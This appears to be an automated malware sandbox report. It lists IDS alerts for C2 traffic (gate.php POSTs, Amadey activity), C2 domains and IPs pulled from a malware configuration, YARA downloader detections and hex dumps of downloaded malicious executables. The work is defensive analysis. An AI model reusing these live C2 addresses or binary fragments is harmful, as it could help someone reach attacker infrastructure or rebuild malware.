Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50338 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50334 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50355 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50368 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50368 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50368 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50354 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50327 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50351 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50351 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50385 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50334 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50283 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50385 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50283 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50379 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50283 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50433 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50379 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50327 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50351 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50334 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50410 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50297 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50366 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50297 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50366 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50379 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50343 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50355 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50399 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50399 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50302 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50342 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50297 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.5:50395 -> 185.81.68.148:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50456 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50456 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50309 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50456 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50309 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50465 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50309 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50422 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50385 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50380 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50380 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50380 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50404 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50399 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50404 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50358 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50358 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50454 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50358 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50454 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50433 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50454 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50342 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50366 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50342 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50480 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50480 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50480 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50343 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50401 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50343 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50355 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50302 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50302 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50316 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50316 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50431 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50433 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50354 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50354 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50374 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50465 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50465 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50316 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50377 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50377 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50377 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50502 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50502 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50431 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50502 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50437 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50431 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:50412 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:50412 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:50412 -> 185.81.68.147:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 185.81.68.147 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: contile.services.mozilla.com

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: fightlsoser.click
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: 185.81.68.147:1912

Yara detected Generic Downloader

Source: Yara match	File source: 26.2.861C.tmp.Build.exe.3fa3990.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, type: DROPPED

Source: unknown

Network traffic detected: DNS query count 38

Source: global traffic

TCP traffic: 192.168.2.5:49870 -> 185.81.68.147:1912

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 14 Dec 2024 13:56:09 GMTContent-Type: application/octet-streamContent-Length: 309760Last-Modified: Sat, 14 Dec 2024 13:01:45 GMTConnection: keep-aliveETag: "675d81b9-4ba00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 eb 5a 1e 27 8a 34 4d 27 8a 34 4d 27 8a 34 4d 2e f2 a7 4d 24 8a 34 4d 27 8a 35 4d 2b 8a 34 4d 48 fc 9f 4d 2d 8a 34 4d 48 fc ae 4d 26 8a 34 4d 48 fc a9 4d 26 8a 34 4d 52 69 63 68 27 8a 34 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 5a 73 5d 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 3a 00 00 00 34 00 00 00 00 00 00 68 34 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 88 72 00 00 28 00 00 00 00 a0 00 00 28 03 00 00 00 90 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6a 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 00 24 00 00 00 50 00 00 00 24 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 58 02 00 00 00 90 00 00 00 04 00 00 00 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 28 03 00 00 00 a0 00 00 00 04 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 36 34 00 00 00 00 00 50 04 00 00 b0 00 00 00 50 04 00 00 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 14 Dec 2024 13:56:15 GMTContent-Type: application/octet-streamContent-Length: 2660864Last-Modified: Thu, 12 Dec 2024 23:33:40 GMTConnection: keep-aliveETag: "675b72d4-289a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ed d3 a7 12 a9 b2 c9 41 a9 b2 c9 41 a9 b2 c9 41 e2 ca ca 40 a3 b2 c9 41 e2 ca cc 40 27 b2 c9 41 e2 ca cd 40 bd b2 c9 41 b8 34 ca 40 bd b2 c9 41 b8 34 cd 40 bb b2 c9 41 b8 34 cc 40 8f b2 c9 41 e2 ca c8 40 aa b2 c9 41 a9 b2 c8 41 fa b2 c9 41 2a 34 c1 40 a8 b2 c9 41 2a 34 36 41 a8 b2 c9 41 2a 34 cb 40 a8 b2 c9 41 52 69 63 68 a9 b2 c9 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 85 59 56 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 b0 24 00 00 f2 03 00 00 00 00 00 c9 01 24 00 00 10 00 00 00 c0 24 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 28 00 00 04 00 00 64 6d 29 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 18 25 00 28 00 00 00 00 40 25 00 25 fb 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 28 00 1c 7f 00 00 80 0d 25 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0c 25 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 24 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 32 af 24 00 00 10 00 00 00 b0 24 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f2 5e 00 00 00 c0 24 00 00 60 00 00 00 b4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 14 00 00 00 20 25 00 00 0a 00 00 00 14 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 25 fb 02 00 00 40 25 00 00 fc 02 00 00 1e 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 7f 00 00 00 40 28 00 00 80 00 00 00 1a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Dec 2024 21:56:19 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Tue, 10 Dec 2024 22:39:28 GMTETag: "4b200-628f2276e1a78"Accept-Ranges: bytesContent-Length: 307712Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 dc 48 28 d2 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 e4 02 00 00 cc 01 00 00 00 00 00 8e 02 03 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 05 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 02 03 00 4b 00 00 00 00 20 03 00 c6 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 e2 02 00 00 20 00 00 00 e4 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c6 c9 01 00 00 20 03 00 00 ca 01 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 05 00 00 02 00 00 00 b0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 02 03 00 00 00 00 00 48 00 00 00 02 00 05 00 20 83 01 00 20 7f 01 00 03 00 00 00 8f 02 00 06 28 77 01 00 f8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 00 75 00 74 00 6f 00 66 00 69 00 6c 00 6c 00 35 00 74 00 59 00 57 00 52 00 71 00 61 00 57 00 56 00 6f 00 61 00 6d 00 68 00 68 00 61 00 6d 00 4a 00 38 00 57 00 57 00 39 00 79 00 62 00 32 00 6c 00 58 00 59 00 57 00 78 00 73 00 5a 00 58 00 51 00 4b 00 61 00 57 00 4a 00 75 00 5a 00 57 00 70 00 6b 00 5a 00 6d 00 70 00 74 00 62 00 57 00 74 00 77 00 59 00 32 00 35 00 73 00 63 00 47 00 56 00 69 00 61 00 32 00 78 00 74 00 62 00 6d 00 74 00 76 00 5a 00 57 00 39 00 70 00 61 00 47 00 39 00 6d 00 5a 00 57 00 4e 00 38 00 56 00 48 00 4a 00 76 00 62 00 6d 00 78 00 70 00 62 00 6d 00 73 00 4b 00 61 00 6d 00 4a 00 6b 00 59 00 57 00 39 00 6a 00 62 00 6d 00 56 00 70 00 61 00 57 00 6c 00 75 00 62 00 57 00 70 00 69 00 61 00 6d 00 78 00 6e 00 59 00 57 00 78 00 6f 00 59 00 32 00 56 00 73 00 5a 00 32 00 4a 00 6c 00 61 00 6d 00 31 00 75 00 61 00 57 00 52 00 38 00 54 00 6d 00 6c 00 6d 00 64 00 48 00 6c 00 58 00 59 00 57 00 78 00 73 00
